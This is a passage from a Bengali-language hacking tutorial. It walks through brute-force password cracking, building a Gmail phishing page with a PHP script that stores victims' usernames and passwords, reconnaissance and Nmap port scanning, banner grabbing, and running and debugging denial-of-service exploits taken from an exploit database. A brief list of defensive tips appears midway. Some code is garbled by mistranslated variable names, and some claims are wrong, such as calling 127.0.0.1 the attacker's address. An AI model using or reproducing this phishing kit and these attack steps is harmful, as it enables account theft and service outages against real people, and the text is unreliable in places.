000167	(not logged in)	127.0.0.1	
000168	(not logged in)	127.0.0.1	
000169	(not logged in)	127.0.0.1	
000170	(not logged in)	127.0.0.1	
000171	(not logged in)	127.0.0.1	
000172	(not logged in)	127.0.0.1	
000173	(not logged in)	127.0.0.1	
000174	(not logged in)	127.0.0.1	
000175	(not logged in)	127.0.0.1	


১১। 127.0.0.1 হল হ্যাকার এর আইপি অ্যাড্রেস। এই সব চিহ্ন এর জন্য এক জন হ্যাকার ধরা খায় এবং আইনের অনেক ঝামেলায় পরে।



ব্রুট ফোর্স অ্যাটাক


সময় এর সাপেক্ষে ব্রুট ফোর্স অ্যাটাক যে কোন পাসওয়ার্ড ক্র্যাক করতে পারে। ব্রুটফোর্স অ্যাটাক সম্ভাব্য সব নাম্বার অক্ষর বিশেষ চরিত্র নিয়ে বিন্যাস করে যতক্ষণ না পর্যন্ত সঠিক পাসওয়ার্ড না পাওয়া যায়। ব্রুট ফোর্স অ্যাটাক অনেক সময় নেয়। নিচে আমি দেখাবো কিভাবে ব্রুট ফোর্স অপশন আগের এফটিপি সার্ভার এর বিরুদ্ধে ব্যবহার করা যায়।

১। ডিকশনারি অ্যাটাক এর মত এখানেও লক্ষ্য এবং পোর্ট প্রবেশ করাতে হবে। পাস মোড এর জন্য ব্রুট-ফোর্স বেছে নিতে হবে এবং রেঞ্জ ক্লিক করতে হবে।




২। তোমার যদি কোন ধারণা থাকে যে পাসওয়ার্ড কি হতে পারে তাহলে তুমি সঠিক অপশনটি বেছে নিতে পারোবে। উদাহারন সরুপ বলা যায় তুমি যদি জান কোন সাইট এর পাসওয়ার্ড একটি

নির্দিষ্ট মাপের মাঝে থাকবে তাহলে তুমি জানবে সর্বনিম্ন কতটুকু দিলে ক্র্যাকিং প্রসেস ছোট হবে।



৩। আমি ছোট হাতের lowercase alpha বেছে নিয়েছিলাম যেটির বিন্যাসে দ্বিতীয় ক্ষুদ্রতম। যদিও এটি দ্বিতীয় ক্ষুদ্রতম তারপর এটিতে অনেক সময় লাগে।





ফিশিং

ফিশিং হল স্পর্শকাতর তথ্য চুরি করার একটি প্রক্রিয়া যেমন ইউজারনেম, পাসওয়ার্ড ইত্যাদি। এটিও মূলত বিশ্বাসঘাতকতার মাধ্যমে করতে হয়।

১। প্রথমে হ্যাকার একটি লক্ষ্য ঠিক করে। ফিশিং এর জন্য সব থেকে জনপ্রিয় ইমেইল সার্ভিসগুলো হল Hotmail, Gmail, Yahoo। কারন এগুলো বেশিরভাগ মানুষই ব্যবহার করে। আর একবার যদি হ্যাকার ইমেইলে ঢুকতে পারে তাহলে তুমি যে সব ওয়েবসাইটগুলো ব্যবহার করো তার সবার তথ্যও পেয়ে যাবে। এখানে আমরা একটি জিমেইল কে লক্ষ্য হিসাবে নেব।

২. লক্ষ্য বেছে নেয়ার পর হ্যাকার ওই ওয়েবসাইটের লগিন পেজে যাবে এবং সম্পূর্ণ পেজটি save করবে। যেমনঃ





আমি এখানে Mozilla Firefox ব্যবহার করেছি। তাহলে আমকে [জিমেইল](#) <http://www.gmail.com/> এ যেতে হবে এবং click File -> Save পেজ as... অথবা <CTR> + S চাপ দিয়ে পেজ save করতে হবে।

৩। save করার সময় পেজটাকে রিনেইম করে ServiceLogin.htm থেকে index.htm দিতে হবে। index দেয়ার কারন হল কেউ যখন তোমার সাইটে যাবে তখন যে পেজটা প্রথমে দেখাবে সেটা সাধারণত ইনডেক্স নামের হয়।

৪। তারপর হ্যাকার তোমার তথ্য চুরি করার একটি PHP স্ক্রিপ্ট তৈরি করবে। নিচে একটা সাধারণ PHP স্ক্রিপ্ট যেটা তুমি "Sign in" এ ক্লিক করার সাথে সাথে তোমার "login details" store করবে। এটা কিভাবে কাজ করে দেখতে চাইলে নোটপ্যাড এ নিচে দেয়া সবুজ রঙের অংশ copy paste করো। এখন এটা আগে যেখানে জিমেইল লগিন পেজটা save করেছে সেখানে save

করো। এটির নাম দিবে phish.php। এবং সেখানে নতুন আরেকটি text file তৈরি করো এবং নাম দাও list.txt।

```
<?php
```

```
Header("Location:
```

```
https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3DI&bsv=1k96igf4806cy&ltmpl=default&ltmplcache=2 ");
```

```
$hএবংle = fopen("list.txt", "a");
```

```
/*এটাসার্ভারে "list.txt" ফাইলটা ওপেন করতে বলে এবং ডেটা তৈরিকরে। ডেটা হল তোমার ইউজারনেম এবং পাসওয়ার্ড。*/
```

```
Foreach($_GET as $variable => $value) {
```

```
fwrite($hএবংle, $variable);
```

```
fwrite($hএবংle, "=");
```

```
fwrite($hএবংle, $value);
```

```
fwrite($hএবংle, "\r\n");
```

```
}
```

```
/*এর মাঝে তোমার ইউজারনেম ও পাসওয়ার্ড থাকে।*/
```

```
Fwrite($hএবংle, "\r\n");
```

```
/*এটি তোমার লগিন ডিটেল "list.txt" ফাইলে লিখে।
```

```
Fclose($hএবংle);
```

```
/*এটি "list.txt" এরসাথে connection বিচ্ছিন্নকরে।*/
```

```
exit;
```

```
?> //এটি PHP program. এরসমাপ্তিকরে।
```




তুমি নিচের ফোল্ডার গুলো দেখতে পাবে।



৫. এখনহ্যাকারকে তার PHP স্ক্রিপ্ট ও আসল জিমেইল পেজকে সম্পাদনা করতে হবে। আসল জিমেইলটি নোটপ্যাড দিয়ে ওপেন করতে হবে।

৬. <CTR> + F চাপো, অথবা Edit-> Find , action লিখে “Find Next”এ চাপ দাও।



৭. তুমি উপরের চিত্রের মত দেখতে পারবে।



স্ক্রিপ্ট ২টি “action” occurrences দেখতে পাবে।তোমাকে সঠিকটি বেছে নিতে হবে “form id” নাম দেখে।action= এর পর “ “ এর মাঝে যে অ্যাড্রেসটি দেখস তা সম্পূর্ণরূপে পরিবর্তন করে phish.php দিতে হবে।এটি form টিকে Google এর পরিবর্তে তোমার PHP phish স্ক্রিপ্টএ submit করবে।এরপর তুমি

```
method="post"
```

লেখা অংশটি খুঁজে বের করবে এবং “post” শব্দটি পরিবর্তন করে “GET” লিখে দিবে।তাহলে দেখতে method=”GET” এর মতো হবে।GET method এর কাজ হল তুমি যেসব তথ্য URL এর মাধ্যমে টাইপ করবে তা এটা submit করবে যাতে PHP স্ক্রিপ্ট log করতে পারে।

৮.save করো এবং ফাইলটা close করে ফেলো।

৯.এরপর হ্যাকার সব ফাইল যে free webhost গুলো PHP support করে তাতে upload করে।

১০.একবার সমস্ত ফাইল আপলোড করা হয়ে গেলে, তোমার“list.txt” ফাইলে লিখিত অনুমতি দিতে হবে।প্রতি হোস্টিং কোম্পানির একটি CHMOD অপশন আছে।এই অপশনটি নির্বাচন করে আর file permission টি“list.txt” 777 এ পরিবর্তন করো।যদি বুঝতে না পারো কিভাবে করতে হবে তাহলে এমন কাউকে জিজ্ঞাসা করো যে আগে এই হোস্ট ব্যবহার করেছে।

১১. যখন সব কাজ শেষ হবে তুমি তোমার হোস্ট এর কাছ থেকে পাওয়া ওয়েবসাইটের লিঙ্ক এ যাও এবং সেখানে তুমি জিমেইল পেজের মত পেজ পাবে।

ইউজারনেম/পাসওয়ার্ড লিখ এবং Sign in ক্লিক করো।এটা তোমাকে আসল জিমেইল পেজ এ redirect করবে।

১২.এখন তুমি তোমার list.txt ফাইলটি দেখো

<http://www.yourwebhosturl.com/youraccount/list.txt>



```
ltmpl=default  
ltmplcache=2  
continue=http://mail.google.com/mail/?  
service=mail  
rm=false  
Email=myusername  
Passwd=mypassword  
rmShown=1  
signIn=Sign in  
asts=
```

এটা কমন কিন্তু তুমি তোমারটি আলাদাও করে নিতে পারো। এখানে তুমি তোমার কাম্য ইউজারনেম এবং পাসওয়ার্ড পাবে।

প্রতিহতকরণঃ

এগুলো থেকে বাঁচতে তুমি যা করতে পারো তা হল -

Social Engineering-

তুমি এগুলো থেকে বাঁচতে Social Engineering এ কিছু পদ্ধতি ব্যবহার করতে পারো। Social Engineering এ কেও তোমাকে কিছু বললে যে তোমার অপরিচিত তুমি তাকে কিছু প্রশ্ন করতে পারো যাতে তুমি বুঝতে পারো সে তোমাকে ধোঁকা দিবে নাকি ।

Shoulder Surfing-

যখন তুমি অপরিচিত অথবা পরিচিত যার সামনেই তোমার পাসওয়ার্ড লিখ না কেন খেয়াল রাখবে সে যেন তা দেখতে না পায় এবং তোমার পাসওয়ার্ড



Guessing-

এমন কিছু তোমার পাসওয়ার্ডদিবে না যা সহজে Guess করা যায়। নিজের নাম, বাবা-মা এর নাম, জন্ম তারিখ ইত্যাদি।

Dictionary Attacks-

Dictionary attacks থেকে বাঁচতে তোমার উচিত হবে এমন কিছু পাসওয়ার্ড হিসেবে দেওয়া যা Dictionary তে নাই বা আনকমন কিছু।

Brute-force attacks-

Brute-force attacks থেকে বাঁচতে তুমি বড় এবং এলোমেলো পাসওয়ার্ড ব্যবহার করতে পারো।

Phishing-

ফিশিং থেকে বাঁচতে কোথাও সাইন ইন করার সময় লিঙ্ক এর দিকে খেয়াল রাখা উচিত।



৫ম অধ্যায়


নেটওয়ার্ক হ্যাকিং

ফুটপ্রিন্টিং


ফুটপ্রিন্টিং হল কোন কম্পিউটার সিস্টেম এবং কোম্পানির সম্বন্ধে তথ্য করা। হ্যাকার ফুটপ্রিন্টিং দিয়েই সাধারণত কাজ শুরু করে থাকে। নিচে দেখানো হল কিভাবে হ্যাকার তথ্যপাবে -

১. প্রথমে হ্যাকার তার টার্গেট করা ওয়েবসাইট এর সকল তথ্য খুঁজবে। হ্যাকার e-mails এবং names খুঁজবে। হ্যাকার যদি সব তথ্য পেতে চায় সে কোম্পানির বিরুদ্ধে social engineering attack ও করতে পারে।

২. হ্যাকার http://www.selfseo.com/find_ip_address_of_a_website.php সাইটটি থেকে টার্গেট ওয়েবসাইটের আইপি অ্যাড্রেস সংগ্রহ করবে। URL দিয়েই সে আইপি অ্যাড্রেসটি পাবে।



The IP address of google.com is **64.233.187.99**

The IP address 64.233.187.99 is assigned to  United States

Enter URL:

৩. ওয়েবসাইট চালু আছে নাকি বন্ধ তা জানার জন্য হ্যাকার Ping ব্যবহার করবে। <http://just-ping.com> আই ওয়েবসাইট থেকে হ্যাকার তার টার্গেট ওয়েবসাইট এর নাম অথবা আইপি অ্যাড্রেস দিয়ে করবে। এই সাইটটি পৃথিবীর ৩৪ টি স্থান থেকে একসাথে ping করে তার রেজাল্ট দেবে নিম্নের মতঃ



google.com ping!
e.g. yahoo.com or 66.94.234.13
ping: google.com

location	result	min. rrt	avg. rrt	max. rrt
Santa Clara, U.S.A.	Okay	62.3	64.6	67.0
Vancouver, Canada	Okay	11.8	12.4	13.7
New York, U.S.A.	Okay	27.0	31.3	47.2
Florida, U.S.A.	Okay	42.1	43.6	54.3
Austin1, U.S.A.	Okay	140.7	141.3	142.1
Austin, U.S.A.	Okay	73.6	73.9	74.2
San Francisco, U.S.A.	Okay	97.1	98.5	100.4
Amsterdam2, Netherlands	Okay	159.3	161.3	162.8
London, United Kingdom	Okay	85.5	86.6	87.9
Amsterdam3, Netherlands	Okay	94.4	95.5	96.9
Chicago, U.S.A.	Okay	61.2	62.1	63.0
Amsterdam, Netherlands	Okay	104.7	106.6	108.5
Cologne, Germany	Okay	106.2	108.2	109.9
Munchen, Germany	Okay	100.5	103.4	105.7
Paris, France	Okay	95.0	97.1	101.0
Madrid, Spain	Okay	123.8	126.1	128.0
Stockholm, Sweden	Okay	197.7	199.0	200.5
Cagliari, Italy	Okay	187.9	188.5	189.8
Copenhagen, Denmark	Okay	112.5	112.8	113.0
Antwerp, Belgium	Okay	94.6	95.8	97.0
Krakow, Poland	Okay	195.1	196.1	196.9
Nagano, Japan	Okay	144.2	145.0	146.4
Sydney, Australia	Okay	180.7	182.5	187.5
Hong Kong, China	Okay	249.9	251.1	254.9
Lille, France	Okay	143.4	152.9	158.9
Auckland, New Zealand	Okay	182.4	193.6	215.9
Melbourne, Australia	Okay	229.0	233.3	242.9
Haifa, Israel	Okay	170.5	172.1	173.1
Singapore, Singapore	Okay	216.6	216.8	217.0
Porto Alegre, Brazil	Okay	211.1	212.2	214.5
Mumbai, India	Okay	265.1	265.6	266.1
Zurich, Switzerland	Okay	126.3	130.1	134.1
Johannesburg, South Africa	Okay	357.3	357.7	358.3
Shanghai, China	Packets lost (100%)			

৪. <http://whois.domaintools.com> থেকে হ্যাকার তার টার্গেট করা ওয়েবসাইট এর Whois খুঁজবে। হ্যাকার এখান থেকে অনেকগুলো তথ্যপাবে। হ্যাকার এখানে e-mails, address, names, when the domain was created, when the domain expires, the domain name server ইত্যাদি তথ্য পাবে।

৫. search engines ব্যবহার করে হ্যাকার ওয়েবসাইট সম্পর্কে অনেক কিছু জানতে পারে। "site:www.the-target-site.com" এভাবে খোজার মাধ্যমে হ্যাকার সাইটটির সবগুলো পেজ দেখতে পারবে যা Google এ আছে। specific word ব্যবহার করে হ্যাকার আরও সঠিক তথ্য


পেতে পারে যেমন “site:www.the-target-site.com email” দিয়ে হ্যাকার সাইট এর পাবলিশ করা ইমেইল গুলো পাবে। “inurl:robots.txt” দিয়ে হ্যাকার সাইট এর robots.txt পেজ টি পাবে। অনেক সময় এখানে অনেক গোপন তথ্যও বের হয়ে আসে।

পোর্ট স্ক্যানিং

পোর্ট স্ক্যান করা হচ্ছে একটি সার্ভারের মুক্ত পোর্ট সনাক্ত করে। একজন হ্যাকার একবার টার্গেট সার্ভারের সমস্ত সিস্টেম জানতে পারলে, সে সম্ভাব্য vulnerabilities এর জন্য অনুসন্ধান করতে পারে এবং তোমার ওয়েবসাইটের নিয়ন্ত্রণ গ্রহণ করতে পারে। পোর্ট স্ক্যান করার উদাহরণের জন্যে আমরা যে সর্বাপেক্ষা জনপ্রিয় পোর্ট স্ক্যানার ব্যবহার করো তা হল :


<http://nmap.org/download.html> উদাহরণ টা দেখানো হবে Nmap GUI(Graphical User Interface) এর সাহায্যে। একে Zenmap ও বলা হয়।

১। প্রথমে হ্যাকার একটি টার্গেট/ওয়েবসাইট বাছাই করবে এবং Target box এ address টা লিখবে। তুমি দেখতে পাবে “কমান্ড প্রোমোট” অংশ সাথে সাথে আপডেট হচ্ছে। তুমি যদি CLI ভাষন এ চালাও তাহলে নিচের চিত্রের মত পাবে।



২. এরপর হ্যাকার “Profile:” সিলেক্ট করবে অন্যভাবে বলা যায় স্ক্যানের ধরন সিলেক্ট করবে। এলিট হ্যাকার quick এবং quiet scan সিলেক্ট করবে। Full version scan করতে গেলে অনেক সময় বিশাল এবং জটিল আকার ধারণ করে। আমরা এই অপশন থেকে আপাতত দূরে

থাকি কারণ তথ্যপাওয়ার আরও উপায় আমরা পরে দেখব।



৩. ফলাফল টা এরকম আসতে পারে ।

▲	Port ▲	Protocol ▲	State ▲	Service ▲	Version
●	22	tcp	open	ssh	
●	24	tcp	open	priv-mail	
●	53	tcp	open	domain	
●	80	tcp	open	http	
●	111	tcp	open	rpcbind	
●	3306	tcp	open	mysql	

৪. তুমি দেখতে পাবে এটা তোমাকে কিছু open ports দেখাবে যা কাজ করতেছে। নিচে আমরা ইন্টারনেট এর কিছু জনপ্রিয় ports/services এর লিস্ট দেখি.....

20 FTP data (File Transfer Protocol)

21 FTP (File Transfer Protocol)

22 SSH (Secure Shell)

23 Telnet

25 SMTP (Send Mail Transfer Protocol)

43 whois



53 DNS (Domain Name Service)

68 DHCP (Dynamic host Control Protocol)

80 HTTP (HyperText Transfer Protocol)

110 POP3 (Post Office Protocol, version 3)

137 NetBIos-ns

138 NetBIos-dgm

139 NetBIos

143 IMAP (Internet Message Access Protocol)

161 SNMP (Simple Network Management Protocol)

194 IRC (Internet Relay Chat)

220 IMAP3 (Internet Message Access Protocol 3)

443 SSL (Secure Socket Layer)

445 SMB (NetBIos over TCP)

1352 Lotus Notes

1433 Microsoft SQL server

1521 Oracle SQL

2049 NFS (Network File System)

3306 MYSQL

4000 ICQ



5800 VNC

5900 VNC

8080 HTTP

৫. কোন পোর্ট গুলো কাজ করছে তা জানার জন্যে হ্যাকার কে জানতে হবে কোন অপারেটিং সিস্টেম(operating system)কাজ করছে। অনেক গুলো অপারেটিং সিস্টেমে কমন vulnerabilities আছে।তাই হ্যাকার অপারেটিং সিস্টেম সম্পর্কে জানতে পারলে সহজে সার্ভারে প্রবেশ করতে পারবে।

তুমি Nmap এর অপশনে অপারেটিং সিস্টেম সিলেক্ট করার অপশন আছে, কিন্তু এতে টার্গেট সাইট যারা পরিচালিত করছে তারা বুঝে যেতে পারে যে কেও স্ক্যানিং করছে।তাই এই অপশন ব্যবহার না করাই ভাল।এর চেয়ে কোন সার্ভার কাজ করছে তা জানার জন্যে একটি সহজ উপায় হল 404 পেজ খুজে বের করা ।তুমি এমন পেজ এ যেতে পারো যার কোন অস্তিত্বই নেই,উদাহরন স্বরূপ “www.targetsite.com/almadarifjanata.php” এই পেজটি না থাকার সম্ভাবনাই বেশি,তাই তুমি 404 পেজ পাবে ।বেশিরভাগ সার্ভারে 404 পেজ দেখায় অপারেটিং সিস্টেম অনুসারে।অনেক সাইট আবার এ থেকে বাঁচতে custom 404 পেজ দেখায়,তখন এই পদ্ধতি কাজ করবে না ।

৬. যদি তুমি CLI এর Nmap ভার্শন ব্যবহার করতে চাও এখানে কমান্ড গুলো দেখতে পারো।
<http://nmap.org/book/man.html>

৭.এখন হ্যাকার সব open ports এবং কোন কোন সার্ভিস চলছে তা পেয়ে গেছে।তার এখন সার্ভার এর ভার্শন খুজে বের করতে হবে।এখানেই “Banner Grabbing” কাজে লাগে।



ব্যানার গ্র্যাবিং

এখন হ্যাকারের কাছে সার্ভিস এর পুরো লিস্ট আছে যা সার্ভার এ চলতেছে, এখন তাকে খুজতে হবে তা কোন সফটওয়্যার এবং তার ভার্সন কি! কমান্ড প্রোমোট এর বুদ্ধির মাধ্যমে আমরা তা জানতে পারি। উইন্ডোজে (Start -> Run -> "cmd" লিখে-> Enter).

যদি তুমি Mac ব্যবহার করো তাহলে তুমি terminal ব্যবহার করতেছ।

*নোট = উইন্ডোজ Vista তে telnet ইন্সটল করা থাকে না। নিচের সহজ পদ্ধতির সাহায্যে তুমি তা করতে পারো -

*কন্ট্রোল প্যানেলে যাও।

*Program and Features সিলেক্ট করো।


*Turn উইন্ডোজ features on or off.

*Click the Telnet Client অপশন এবং click OK.

*কনফার্মেশন নিশ্চিত করার জন্য একটি পপআপ বক্স আসবে। টেলনেট এখন ইন্সটল হয়ে যাবে।

১. প্রথমে হ্যাকার nmap এ পাওয়া একটি open port কে এক্সপ্লয়েট করার চেষ্টা করবে। ধরে নেই যে, হ্যাকার Target scan করে






```
C:\WINDOWS\system32\cmd.exe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\David M>telnet localhost 21_
```

২১ নম্বার পোর্ট টি open পেয়েছে। কোন এফটিপি সফটওয়্যার চলতেছে তা জানার জন্যে সে `telnet www.targetsite.com 21` কমান্ড দ্বারা telnet ব্যবহার করবে। তুমি ছবি তে দেখতে পাচ্ছ আমি আমার কম্পিউটার কে টার্গেট করেছি তাই (লোকালহোস্ট) দিয়েছি। তুমি (লোকালহোস্ট) এর জায়গায় তোমার টার্গেট/address টি দিবে।

২. এরপর এটা তোমার টার্গেট এর সাথে Connect হবে এবং তোমাকে একটা banner দেখাবে সফটওয়্যার এবং সফটওয়্যারের ভার্সন সহ।



```
Telnet localhost
220-FileZilla Server version 0.9.27 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
```

সফটওয়্যারের মধ্যে vulnerabilities খোঁজার জন্য হ্যাকারের এই তথ্যটাই দরকার। যদি এভাবে কাজ না করে তাহলে Nmap এর full version detection অপশন ব্যবহার করতে হবে।

Vulnerability সার্চিং

এখন হ্যাকার এর কাছে সফটওয়্যারের নাম এবং ভার্সন জানা আছে তাই সে এই তথ্য ব্যবহার করে কতগুলো vulnerability ডেটাবেজ খুঁজে এক্সপ্লয়েট করার জন্যে। যদি এক্সপ্লয়েট করা যায় তাহলে সে তা সার্ভার এর সাথে ব্যবহার করে সার্ভার দখল করে নিবে। যদি একটা না পায় তাহলে সে অন্য আরেকটি open port চেষ্টা করবে। কতগুলো জনপ্রিয় এক্সপ্লয়েট ডেটাবেজ হল

*1337day

*SecurityFocus

*OSvdb

কয়েকটা পোর্ট খোঁজার পর হ্যাকার যদি এফটিপি সফটওয়্যার এর জন্যে কোন এক্সপ্লয়েট খুঁজে না পায় তাহলে বাকিগুলোও খোঁজতে থাকবে। এলিট হ্যাকাররা নতুন এক্সপ্লয়েট তৈরি করবে। এটাকে হ্যাকার দের ভাষায় “0-day” বলা হয়।

“0-day” vulnerabilities হ্যাকার দের মাঝে কিছু কারণে অনেক গুরুত্বপূর্ণ।

*যেহেতু vulnerabilities টা সম্পর্কে কেউ জানে না তাই vulnerabilities টার patch বের করার আগে হ্যাকার অনেকগুলো সাইট হ্যাক করতে পারে।

*vulnerabilities টা হ্যাকার অনেক দামে বিক্রি করতে পারে।

*নতুন vulnerabilities দেখানোর মাধ্যমে হ্যাকার খ্যাতি অর্জন করে।



তুমি ভাবতেছ “0-day” গুলো এতো গুরুত্বপূর্ণ কেন? তোমাকে একটা equation দিয়ে বুঝাই...

Hacker + 0-Day + Company servers = Bad Reputation = Loss of Money

এখানে আমরা কিছু কমন attacks নিয়ে আলোচনা করব যা vulnerabilities পাওয়ার পর হ্যাকাররা করে থাকে।

Denial-of-Service (Dos)- অনেক ধরণের Dos attacks আছে কিন্তু সবগুলোর উদ্দেশ্য একই - Target server কে কিছু সময় এর জন্যে বন্ধ করে। বেশিরভাগ Dos attack এ হ্যাকার Target server একসাথে অনেকগুলো তথ্য পাঠায় সার্ভার এর ক্ষমতা পুরোটা ব্যবহার করতে। যাতে বাকি সবার কাছে তা অফলাইন হয়ে যায়।

Buffer Overflow (BoF)- কোনো প্রোগ্রামে অতিরিক্ত ডাটা প্রবেশ করালে তাতে BOF হতে দেখা যায়। প্রোগ্রামে ডাটা স্টোরেজের জন্য নির্দিষ্ট পরিমাণ অংশ দেওয়া থাকে হ্যাকার Malicious code প্রবেশ করালে প্রোগ্রামের লজিক ভেঙে পরে ফলে তা আর কাজ করে না। Malicious Code টি এক্সিকিউট হয়। Code টি একবার executed হলে হ্যাকার সার্ভার দখল করতে পারে। যদি তুমি 1337day তে এক্সপ্লয়েট ডেটা বেজে খোজো তাহলে তুমি কিছু এক্সপ্লয়েট পাবে লোকাল এক্সপ্লয়েট অথবা রিমোট এক্সপ্লয়েট এর মত। নিচে বর্ণনা দেওয়া হল

লোকাল এক্সপ্লয়েট - লোকাল এক্সপ্লয়েট চালানোর জন্য তোমার প্রথমে মেশিন এ পুরো অধিকার থাকতে হবে। লোকাল এক্সপ্লয়েট ব্যবহার করা হয় এডমিন রুট এর অধিকার বৃদ্ধিকরার জন্যে। অন্যভাবে বলা যায় এর দ্বারা লোকাল ব্যবহারের অধিকার বৃদ্ধি পেতে পারে।

রিমোট এক্সপ্লয়েট- রিমোট এক্সপ্লয়েট আর লোকাল এক্সপ্লয়েট একই। শুধু রিমোট এক্সপ্লয়েট ইন্টারনেট এর যেকোনো জায়গা থেকে করা যায়। হ্যাকার রিমোট এবং লোকাল এক্সপ্লয়েট দুইটাই ব্যবহার করে সার্ভার দখল করার জন্যে।



পেনেট্রিটিং

এখন তুমি ভাবছো হ্যাকার সঠিক এক্সপ্লয়েট পাওয়ার পর সে তা কিভাবে টার্গেটে ব্যবহার করে এবং সার্ভার দখল করে ?

এটা এখানে বর্ণনা করা হল - 1337day তে খোঁজ করে দেখতে পারো অথবা অন্য কোন এক্সপ্লয়েট ডেটাবেজ ওয়েবসাইটে যা এখানে দেওয়া হয়েছে। নিচে কিছু গুরুত্বপূর্ণ প্রোগ্রামিং ভাষার এক্সপ্লয়েটের বর্ণনা দেওয়া হল -

PHP

PHP কোড অনেক কম। পিএইচপি কোড সাধারণত শুরু হয় `<?php` দিয়ে এবং শেষ হয় `?>` দিয়ে। ধরে নেই, হ্যাকার এফটিপি সার্ভার 0.9.20. সার্ভার এ কিছুক্ষণের জন্যে ক্ষতি করতে চায়। যদি সে 1337day তে সহজেই খুঁজে পাবে উদাহরণস্বরূপ আমি এই Dos টি ব্যবহার করব - <http://www.1337day.com/exploits/6238>

নিচে ধাপ গুলো দেওয়া হল -

১. প্রথমে আমাকে আমার কম্পিউটারে পিএইচপি ইন্সটল করতে হবে। WAMP হল ফ্রী ওয়েব সার্ভার যাতে পিএইচপি আছে। Mac এর জন্য আছে MAMP। আমি কোড টি নোটপ্যাডে লিখে তা “exploit.php” নামে save করব। পিএইচপি সম্বন্ধে ধারণা থাকলে কাজটি সহজ হবে। কোডটি খুঁজলে দেখবে


```
$address = gethostbyname('192.168.1.3');
```

লাইন আছে এখানে তোমাকে ' ' এর ভিতরে টার্গেট এর আইপি অ্যাড্রেস বসাতে হবে। প্রতিটা




এক্সপ্লয়েটই আলাদা আলাদা হয়ে থাকে।ফলে তোমাকে সম্পাদনা করার জন্যে ও কিছু নির্দেশনার জন্যে প্রোগ্রামিং জানতে হবে।এই সম্পাদনা করা ফাইলটি PHP executable ফাইল টার সাথে একই directory তে save করো।WAMP এ অ্যাড্রেসটি হবে C:\wamp\bin\php\php5.2.5 এখানে PHP এর ভার্সন অন্যকিছুও হতে পারে।

২. এরপর আমরা কমান্ড প্রোমোট চালু করব এবং CD (change directory) কমান্ড ব্যবহার করে PHP directory তে যাব।



```
C:\WINDOWS\system32\cmd.exe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\David M>cd C:\wamp\bin\php\php5.2.5
C:\wamp\bin\php\php5.2.5>_
```

৩.এখন এক্সপ্লয়েটটি রান করাতে হবে।এর জন্য “php exploit.php” কমান্ডটি লিখে শুধুমাত্র এন্টার চাপতে হবে।



```
C:\wamp\bin\php\php5.2.5>php exploit.php
Notice: Undefined variable: junk in C:\wamp\bin\php\php5.2.5\exploit.php on line
18
Fatal error: Call to undefined function socket_create() in C:\wamp\bin\php\php5.
2.5\exploit.php on line 20
C:\wamp\bin\php\php5.2.5>_
```

৪. এলিট হ্যাকাররা এক্সপ্লয়েট করলে তাতে কিছু বাড়তি কোড ঢুকিয়ে দেয় যাতে স্ক্রিপ্টকিডিরা অর্থাৎ যারা কোন প্রোগ্রামিং জানে না তারা এটা ব্যবহার করতে না পারে।উপরে একটা সাধারণ উদাহরণ দেখানো হয়েছে।তুমি এক্সপ্লয়েট এর ১৮ নম্বার লাইন পাবে -

```
$junk.=" ../../../../sun-tzu ../../../../sun-tzu ../../../../sun-tzu";
```

এই লাইন টা দেয়া হয়েছে স্ক্রিপ্ট কিডিদের বোকা বানানোর জন্যে।এই লাইন রিমুভ করলেই

আর ভুলআসবে না।অর্থাৎ প্রোগ্রামিং সম্বন্ধে তোমার ধারণা থাকতে হবে।

এধরনের আরও ভুল তুমি পেতে পারো।এগুলো সার্ভার configurations এর জন্যে।একজন হ্যাকার হিসেবে তোমাকে নিজে নিজে অনেক শিখতে হবে।বার বার সামান্য সমস্যা নিয়ে প্রশ্ন করলে সেটা ভাল দেখাবে না।তাই তুমি গুগলে খুঁজবে, www.google.com হল তোমার বন্ধু।আর এখানে কিছু না পেলে community forums এ জিজ্ঞেস করতে পারো।

৫. ভুলগুলো ঠিক করার পর টার্গেট এ Dos attack কাজ করবে এবং তা কমান্ড ত্যাগ করার আগ পর্যন্ত চলতেই থাকবে।যদি সার্ভার টা Dos attack এর কারণে ক্ষতিগ্রস্ত হয় তাহলে তুমি টার্গেট সাইট এ গিয়ে তোমার কাজ এর ফলাফল দেখতে পারবে।এর ফলে সার্ভার ডাউন হবে এবং পেজ লোড হতে অনেক সময় লাগবে।



Perl

Perl স্ক্রিপ্ট চালানো আর পিএইচপি চালানো একই রকম

১. ActivePerl এর স্ট্যাবল ভার্সনটি ডাউনলোড এবং ইন্সটল করো।

২. এরপর হ্যাকার vulnerability এর জন্যে এক্সপ্লয়েট খুঁজবে। এখানে আমরা


<http://www.1337day.com/exploits/6613> সাইটটির Win এফটিপি সার্ভার 2.3.0. ব্যবহার করব। এটা একটি Denial of Service (Dos) এক্সপ্লয়েট।

৩. টার্গেট সার্ভার এর মত আমরা কিছু যায়গায় আমরা এক্সপ্লয়েটটি এডিট করব। পরবর্তীতে আমরা ফাইল টা “exploit.pl” নামে save করব। Perl এক্সপ্লয়েট গুলো “!/usr/bin/perl” দিয়ে শুরু হয়।

৪. এখন আমরা CMD Open করে CD (change directory) কমান্ড প্রোমোট ব্যবহার করে directory পরিবর্তন করব। এরপর “perl exploit.pl” টাইপ করে এক্সপ্লয়েট সেন শুরু করব। DOS attack শুরু হয়ে গেল... সহজ না !!

Python

Python ও কমন একটি programming language এক্সপ্লয়েট তৈরি করার জন্যে। <http://www.python.org/downloads> থেকে তুমি Python ডাউনলোড করে নিতে পারো। Python চালানো Perl এর মতই। Python এর অনেক এক্সপ্লয়েট পাওয়া যাবে 1337day তো। মনে রাখবে যে Perl এ যেখানে তুমি “exploit.pl” নামে এক্সপ্লয়েটটি সেভ করেছিলে সেখানে তুমি নাম দিবে “exploit.py”। “.py” হল Python এর এক্সটেনশন।



৬ষ্ঠ অধ্যায়

ওয়্যারলেস হ্যাকিং

এখানে আমরা Wireless হ্যাকিং নিয়ে আলোচনা করব। এবং দেখাবো কিভাবে secure wireless networks এ ঢোকা যায়।

ওয়্যারলেস নেটওয়ার্ক অনুসন্ধান

এই কাজের জন্যে তোমার wireless card/adapter লাগবে। হ্যাকার তোমার আশেপাশে wireless networks খুঁজবে।


